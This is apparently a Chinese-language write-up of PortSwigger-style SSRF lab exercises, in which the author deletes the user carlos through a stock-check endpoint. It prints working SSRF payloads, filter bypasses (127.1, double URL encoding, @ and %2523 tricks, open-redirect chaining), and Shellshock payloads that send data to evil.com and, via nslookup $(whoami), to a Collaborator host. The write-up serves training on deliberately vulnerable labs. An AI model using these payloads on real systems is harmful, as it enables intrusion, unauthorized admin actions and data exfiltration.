Basic SSRF against the local server
根据题目提示,检查商品库存时更改URL为http://localhost/admin
,并删除用户carlos
。
首先使用yakit抓包发现检查库存的URL并将其修改为http://localhost/admin
显示如下图,点击删除用户carlos
发现无法成功删除用户,提示需要以管理员用户登录或以回环地址请求
重新使用检查库存的按钮进行修改删除用户
成功删除
Basic SSRF against another back-end system
根据题目描述在检查库存功能进行扫描192.168.0.x:8080
,删除用户carlos
。
使用yakit进行设置参数查找,发现当x为17时可以成功删除
成功删除用户
Blind SSRF with out-of-band detection
根据题目表述需要在加载商品页面下的Referer
参数指定URL,并且需要使用burp的collaborator进行操作,首先在bp中的collaborator下生成一个payload,并且复制到粘贴板中
对加载商品页面进行抓包处理,找到Referer
参数,将其修改为刚刚生成的网址
回到collaborator界面下点击立即轮询,看到请求信息
成功解决
SSRF with blacklist-based input filter
开发人员部署了两个弱反SSRF防御,需要绕过并访问http://localhost/admin
删除用户carlos
直接修改stockApi
发现被拦截了
将localhost修改为127.1
并将a
进行双URL编码为%2561
将其修改为http://127.1/%2561dmin/delete?username=carlos
后点击放行成功删除
SSRF with filter bypass via open redirection vulnerability
提示库存检查器被限制访问本地应用程序,我们需要先找到影响该应用程序的开放重定位。发现右下角的next product
按钮有重定位的功能,抓包查看下
将这个位置在stockApi中传入,发现可以成功看到管理员界面
构造payload/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
成功删除用户
Blind SSRF with Shellshock exploitation
根据题目表述我们需要将Referer
参数修改为192.168.0.x:8080
,其中 x 不确定,需要爆破得知。通过使用shellshock,最终要得到用户名。
首先我们要去了解一下shellshock漏洞(CVE-2014-6271)是怎么回事,通过查阅资料了解到该漏洞的利用方法为在处理某些构造的环境变量时,向环境变量值内的函数定义后添加多余的字符串会触发。使用的环境变量是通过函数名称来调用的,以“(){”开头通过环境变量来定义的。而在处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。
payload1:env x='() { :;}; echo Shellshock' bash -c "exit"
payload2:() { :; }; echo 1 > /dev/udp/evil.com/53
由于我们需要知道用户名,所以我们构造payload时需要让其显示用户名,即为whoami
命令。由于这题是盲注,所以通过查找域名解析服务器进行返回,因此我们构造的payload为() { :; } /usr/bin/nslookup $(whoami).Collaborator服务器
,还需要将Referer
参数进行爆破处理,具体的如图所示。
爆破的参数直接设置为数值型,1-254即可,进行爆破后再到 Collaborator 中查看,成功找到用户名。
成功解决
SSRF with whitelist-based input filter
根据题目描述需要更改检查库存的URL为http://localhost/admin
并删除用户carlos
。
我们首先点击检查库存按钮后,将URL修改为http://localhost/admin
发现直接报错。提示主机必须为stock.weliketoshop.net
。
根据@绕过我们可以构造为http://localhost@stock.weliketoshop.net
尝试中间用锚点#
来分隔(锚点的作用:请求指定资源的子资源,点击指定的链接时候跳转到指定的位置),发现又出现了之前的报错
尝试使用双URL编码进行过滤,发现可以成功过滤
构造payload为http://localhost%2523@stock.weliketoshop.net/admin/delete?username=carlos
,成功解决